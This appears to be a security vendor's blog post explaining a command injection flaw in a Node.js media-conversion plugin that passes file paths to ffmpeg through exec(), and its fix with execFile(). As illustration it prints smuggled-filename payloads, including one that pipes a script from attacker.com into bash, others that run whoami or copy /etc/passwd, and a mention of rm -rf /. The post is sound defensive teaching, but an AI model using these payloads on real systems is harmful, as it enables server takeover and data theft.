Back to Blog
critical SEVERITY6 min read

How Command Injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability was discovered in `Plugins/converter.js` where `exec()` was used to invoke ffmpeg with unsanitized user-controlled input. By switching from `exec()` to `execFile()` with an argument array, the fix eliminates shell interpretation and prevents attackers from injecting arbitrary commands through media file paths.

O
By Orbis AppSec
Published August 18, 2026Reviewed August 18, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in a Node.js application where `child_process.exec()` in `Plugins/converter.js` passes user-controlled media file paths directly into a shell command string. The fix replaces `exec()` with `execFile()` using an argument array, which bypasses shell interpretation entirely and prevents injection of arbitrary OS commands through crafted filenames or message content.

Vulnerability at a Glance

cweCWE-78
fixReplace exec() with execFile() and pass arguments as an array
riskRemote code execution via crafted media message filenames
languageJavaScript (Node.js)
root causeUsing exec() with string interpolation of user-controlled input
vulnerabilityOS Command Injection

Introduction

The Plugins/converter.js file handles media conversion for a web service — transforming images and videos using ffmpeg. But at line 56, a flaw in how the conversion command was constructed created a critical command injection vulnerability. The function used exec() from Node.js's child_process module with string interpolation, passing the user-controlled mediaMess variable (derived from Atlas.downloadAndSaveMediaMessage(quoted)) directly into a shell command string.

In a web service context, this is directly exploitable by remote attackers who can send crafted media messages. The Atlas parameter — flagged by Semgrep as a function argument containing user-controllable data — flows directly into the shell command without any sanitization or sandboxing.

The Vulnerability Explained

The Dangerous Code Pattern

Here's the vulnerable code from Plugins/converter.js at line 56:

import { exec } from "child_process";
// ...
exec(`"${ffmpegPath}" -i ${mediaMess} ${ran}`, (err) => {
  fs.unlinkSync(mediaMess);
  if (err) {
    Atlas.sendMessage(

The problem is twofold:

  1. exec() spawns a shell: Unlike execFile(), the exec() function passes the entire command string to /bin/sh -c (or cmd.exe on Windows). This means shell metacharacters like ;, |, &&, $(), and backticks are all interpreted.

  2. mediaMess is user-controlled: The variable comes from Atlas.downloadAndSaveMediaMessage(quoted), which processes a quoted message from a user. While this returns a file path, the filename or path could be manipulated by an attacker.

How an Attacker Could Exploit This

Consider a scenario where an attacker crafts a media message with a filename containing shell metacharacters. When mediaMess resolves to something like:

/tmp/innocent.jpg; curl http://attacker.com/shell.sh | bash

The resulting command becomes:

"/path/to/ffmpeg" -i /tmp/innocent.jpg; curl http://attacker.com/shell.sh | bash output.png

The shell interprets the semicolon as a command separator, executing the attacker's payload with the privileges of the Node.js process. Since this is a web service, any remote user who can send a message to the bot can achieve remote code execution on the server.

Even more subtle attacks are possible using backtick substitution:

/tmp/`whoami`.jpg

Or command substitution:

/tmp/$(cat /etc/passwd > /tmp/leaked).jpg

Real-World Impact

For this application — a web service that processes user messages — the impact is catastrophic:

  • Full server compromise: Arbitrary command execution with the process's privileges
  • Data exfiltration: Access to environment variables, configuration files, databases
  • Lateral movement: The compromised server can be used to attack internal infrastructure
  • Service disruption: An attacker could delete files, crash the service, or install persistent backdoors

The Fix

The fix replaces exec() with execFile() and restructures the arguments from a concatenated string into an array:

Before (Vulnerable):

import { exec } from "child_process";
// ...
exec(`"${ffmpegPath}" -i ${mediaMess} ${ran}`, (err) => {

After (Fixed):

import { execFile } from "child_process";
// ...
execFile(ffmpegPath, ["-i", mediaMess, ran], (err) => {

Why This Works

The key difference is how the operating system receives the command:

Aspect exec() execFile()
Shell spawned Yes (/bin/sh -c) No (direct execve)
Metacharacter interpretation Yes No
Argument passing Single string parsed by shell Array passed directly to process
Injection risk High Eliminated

With execFile():
- The first argument (ffmpegPath) is the binary to execute — no quotes needed since it's passed directly to the OS
- The second argument is an array where each element becomes a separate argv entry
- Even if mediaMess contains ; rm -rf /, it's passed as a literal filename argument to ffmpeg, not interpreted by a shell
- ffmpeg will simply report "file not found" for the malicious filename rather than executing injected commands

Prevention & Best Practices

1. Never Use exec() with Dynamic Input

If you must invoke external processes in Node.js, always prefer:
- execFile() — for simple command execution with arguments
- spawn() — for streaming/long-running processes
- Neither invokes a shell by default

2. Validate and Sanitize File Paths

Even with execFile(), validate that file paths match expected patterns:

const pathRegex = /^[a-zA-Z0-9_\-./]+$/;
if (!pathRegex.test(mediaMess)) {
  throw new Error("Invalid file path");
}

3. Use Static Analysis in CI/CD

Integrate Semgrep or similar tools to catch dangerous patterns before they reach production:

# .semgrep.yml
rules:
  - id: no-exec-with-user-input
    pattern: exec($ARG)
    message: "Use execFile() instead of exec()"
    severity: ERROR

4. Apply the Principle of Least Privilege

Run the Node.js process with minimal permissions. Use containers, sandboxes, or dedicated service accounts that limit blast radius if exploitation occurs.

5. Reference Standards

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • OWASP: OS Command Injection is consistently in the OWASP Top 10 under Injection flaws

Key Takeaways

  • exec() with template literals is an anti-pattern: The combination of exec(`...${userInput}...`) is essentially an open door for command injection in any Node.js application
  • Atlas.downloadAndSaveMediaMessage() returns a path derived from user content: Any downstream use of this path in shell commands must assume it's attacker-controlled
  • execFile() with argument arrays is a structural fix: It doesn't just sanitize input — it eliminates the entire class of shell injection by never invoking a shell
  • The ffmpegPath no longer needs quoting: With exec(), the path had to be wrapped in quotes ("${ffmpegPath}") to handle spaces. With execFile(), this is unnecessary since there's no shell parsing
  • Semgrep's detect-child-process rule caught this automatically: Static analysis tools can identify these patterns before they become exploitable vulnerabilities in production

How Orbis AppSec Detected This

  • Source: User-submitted media message processed through Atlas.downloadAndSaveMediaMessage(quoted), where Atlas is a function argument containing user-controllable data
  • Sink: exec() call in Plugins/converter.js:56 that interpolates the user-derived mediaMess variable into a shell command string
  • Missing control: No input sanitization, no shell avoidance — user-controlled file paths were passed directly into a shell-interpreted command string
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Replaced exec() with execFile() and converted the command string into an argument array, eliminating shell interpretation entirely

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability in Plugins/converter.js demonstrates why child_process.exec() should be treated as a dangerous API whenever dynamic input is involved. The fix — switching to execFile() with an argument array — is both minimal and maximally effective. It doesn't rely on fragile input validation or escaping; it structurally eliminates the attack surface by never spawning a shell.

For any Node.js developer working with external process execution: default to execFile() or spawn(). Reserve exec() only for truly static command strings where no variable interpolation occurs. And integrate static analysis tools like Semgrep into your workflow to catch these patterns before they ship.

References

Frequently Asked Questions

What is command injection?

Command injection occurs when an attacker can inject arbitrary operating system commands into an application that passes unsanitized input to a system shell, allowing them to execute code on the server.

How do you prevent command injection in Node.js?

Use `execFile()` or `spawn()` with argument arrays instead of `exec()`. These functions bypass the shell entirely, so shell metacharacters in user input are treated as literal strings rather than command operators.

What CWE is command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent command injection?

Input validation helps but is not sufficient alone. Allowlist validation can miss edge cases. The safest approach is to avoid shell invocation entirely by using `execFile()` or `spawn()` with argument arrays, which structurally prevent injection.

Can static analysis detect command injection?

Yes. Tools like Semgrep can detect patterns where user-controlled data flows into `child_process.exec()` calls. The rule `javascript.lang.security.detect-child-process.detect-child-process` specifically flags these dangerous patterns.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #22

Related Articles

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package version 1.8.3, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote to version 1.9.0 using npm overrides to ensure all instances in the dependency tree are patched, eliminating the attack vector across the entire application.

high

How Command Injection happens in PHP and how to fix it

A high-severity command injection vulnerability was discovered in `lib/Controller/Helper.php` where the `corruptline()` method used `exec()` to run sed and awk commands with user-controlled input. The fix replaced all shell command execution with native PHP file operations using `SplFileObject`, eliminating the command injection attack surface entirely.

high

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A command injection vulnerability was discovered in the audio processing plugin `audioedit.js`, where user-controlled input from downloaded media files was passed directly to shell commands via `exec()`. The fix replaces dangerous shell string interpolation with `execFile()` and argument arrays, eliminating the command injection attack surface entirely.

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `core/cli.js` where the `execSync()` function was called with user-controllable input without proper sanitization. This could allow attackers to execute arbitrary system commands. The fix implements defensive hardening by explicitly marking and validating the dangerous code path to prevent exploitation.

high

How command injection happens in Node.js child_process and how to fix it

A high-severity command injection vulnerability was discovered in `hooks/scripts/auto-stage.js` where the `stageFile()` function used `execSync()` with string interpolation to execute git commands. By switching from `execSync()` with template strings to `spawnSync()` with argument arrays, the fix eliminates shell interpretation and prevents attackers from injecting malicious commands through crafted file paths.

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote from version 1.8.3 to 1.9.0 and adds a dependency override to ensure the patched version is used throughout the dependency tree.